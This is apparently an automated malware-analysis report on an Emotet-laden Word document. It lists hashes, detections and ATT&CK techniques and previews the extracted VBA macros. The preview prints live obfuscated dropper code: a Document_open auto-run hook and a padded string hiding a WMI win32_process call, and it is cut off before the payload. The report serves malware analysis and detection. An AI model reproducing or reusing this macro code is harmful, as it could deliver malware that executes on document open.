Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 880f7c0c4bd75cba…

MALICIOUS

Office (OLE)

236.9 KB Created: 2020-09-02 07:28:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: f5c6bb0e731b30a88cc208e15c959a5b SHA-1: 3abc4a9d195fb5893362d0878441fe4979478b99 SHA-256: 880f7c0c4bd75cbac287ef60d1ddeb09bdd8649f95fcb202ea884de2f2ee4166
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.EmotetWinMob0920-9636503-0', indicating it's an Emotet variant. High-severity heuristics confirm the presence of VBA macros, specifically a Document_Open macro that uses CreateObject to execute code. This suggests the macro is designed to download and execute a second-stage payload, a common Emotet behavior.

Heuristics 6

  • ClamAV: Doc.Dropper.EmotetWinMob0920-9636503-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetWinMob0920-9636503-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19210 bytes
SHA-256: e7987624a1e30b6a0090c15a34a30646d76a92178bd3a132eaea825b45d8477a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sfjy0x6c6x7flolcla"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Call U_0wzv0kitup2d_.Tl8u9dm15qn
End Sub


Attribute VB_Name = "U_0wzv0kitup2d_"
Attribute VB_Base = "0{6D99D37F-CBD1-4CD7-A8E4-DD3517C0127A}{5D7F0CAD-8A01-4DBE-84C8-BCDCB40DC182}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Tl8u9dm15qn()
   On Error Resume Next
   Set Ciu2g3mn29vzw5ogl = H9oswkfvd6__63a3nm
         lkWrgQE6 = 3456 / ChrB(dIfb54) / 549 - ChrB(456) - IAEi02r36 / Sin(JyQgJ)
         Set X1vfxfnigzbpre = Q5qvwjwvzrn2c4y5
         MYbz23mNr = CDbl(453 + Round(nPel0))
   wLmpFJ = CByte(56)
   Set B1oi143mic_7cq = Whfhm31hlf8zjol
   RzPY9ui8 = 5 - 7 * 60 - CDbl(23) - (fLNLc5mU * jUfzk28J - 3 + 4) + (366 / ilsW44a)
      While erIQ2V <> tOVp8L7
      Set N7un21p8byiohx = Pb577yrszmtcd5dt
         zHbyb72 = CSng(AuD * 3456)
      Wend
      If emagX668 < dooLT Then
      Set Xxrasc4f3jgyul_zqk = Ktq3bn7bixmd9fkr
         llONr2Io = CBool(1 - 334 - uiwiU * Sgn(gsjL))
      End If
      Set Eze_b1dok6fbtox = Ldpr6pxxautpgjs
      nsZIG = Lkry535 + 566
R4o6q4s10qvd = 105
   On Error Resume Next
   Set Uqn5141117xzf1h = Uvp4gyml6ic9t8x99
         lkWrgQE6 = 3456 / ChrB(dIfb54) / 549 - ChrB(456) - IAEi02r36 / Sin(JyQgJ)
         Set G8toobhyc69rm08 = Gj59qedc0r2
         MYbz23mNr = CDbl(453 + Round(nPel0))
   wLmpFJ = CByte(56)
   Set E4i12tskkohnwtwro = Xebpynd_ge4qp8
   RzPY9ui8 = 5 - 7 * 60 - CDbl(23) - (fLNLc5mU * jUfzk28J - 3 + 4) + (366 / ilsW44a)
      While erIQ2V <> tOVp8L7
      Set Lsjxi15qx57cr = Ytxzvww22f7w3
         zHbyb72 = CSng(AuD * 3456)
      Wend
      If emagX668 < dooLT Then
      Set Jr50kbgam6fyc = Kv3kxyjwg36lzz2d
         llONr2Io = CBool(1 - 334 - uiwiU * Sgn(gsjL))
      End If
      Set Q0qcf_84pf8g4t8t0 = Dnv0de4lce_ms
      nsZIG = Lkry535 + 566
Fo5h_ok5uho = ChrW$(R4o6q4s10qvd + (10))
   On Error Resume Next
   Set Rs876jlpyczf = Ssyi27okbie9lv98dw
         lkWrgQE6 = 3456 / ChrB(dIfb54) / 549 - ChrB(456) - IAEi02r36 / Sin(JyQgJ)
         Set Mt0p5fmxby8qovyb = Hwqlh6xk39tznsuqc
         MYbz23mNr = CDbl(453 + Round(nPel0))
   wLmpFJ = CByte(56)
   Set J3d6doimwf32mytd = Nfljymebh50ygm_
   RzPY9ui8 = 5 - 7 * 60 - CDbl(23) - (fLNLc5mU * jUfzk28J - 3 + 4) + (366 / ilsW44a)
      While erIQ2V <> tOVp8L7
      Set Xlk2qscc6jrsb = Wfk7bl2pzp048vk
         zHbyb72 = CSng(AuD * 3456)
      Wend
      If emagX668 < dooLT Then
      Set L53opmjmg_dipp6w = P04okkzvsx64xws4h5
         llONr2Io = CBool(1 - 334 - uiwiU * Sgn(gsjL))
      End If
      Set Txgt80zbisajun5l = Mkftd491ouuovqi
      nsZIG = Lkry535 + 566
Vbrrhko4lau = "82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sw82fFHG74_(( sa3fj4_ hu23V))si82fFHG74_(( sa3fj4_ hu23V))snm82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sgm82fFHG74_(( sa3fj4_ hu23V))st82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s" + Fo5h_ok5uho + "82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s:82fFHG74_(( sa3fj4_ hu23V))sw82fFHG74_(( sa3fj4_ hu23V))sin82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))s382fFHG74_(( sa3fj4_ hu23V))s282fFHG74_(( sa3fj4_ hu23V))s_82fFHG74_(( sa3fj4_ hu23V))s" + U_0wzv0kitup2d_.Y3b62x7b_pgnkij + "82fFHG74_(( sa3fj4_ hu23V))sro82fFHG74_(( sa3fj4_ hu23V))s82fFHG74_(( sa3fj4_ hu23V))sce82fFHG74_(( sa3fj4_ hu23V))ss82fFHG74_(( sa3fj4_ hu23V))ss82fFHG74_(( sa3fj4_ hu23V))s"
   On Error Resume Next
   Set Sel0djsfwp_ = O5b1200moy2ad4
         lkWrgQE6 = 3456 / ChrB(dIfb54) / 549 - ChrB(456) - IAEi02r36 / Sin(JyQgJ)
         Set D4rolnv88rzjh_2vf7 = T5y1wffqzbo
         MYbz23mNr = CDbl(453 + Round(nPel0))
   wLmpFJ = CByte(56)
   Set Wlkomfayc_8ej 
... (truncated)